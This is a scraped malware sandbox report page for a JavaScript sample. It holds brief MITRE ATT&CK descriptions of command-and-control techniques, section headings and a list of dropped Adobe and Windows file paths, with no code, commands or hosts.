Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 299273933818721331.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a17cd837-2c9d-4c9b-9752-ea630554952b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2496

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
299273933818721331.js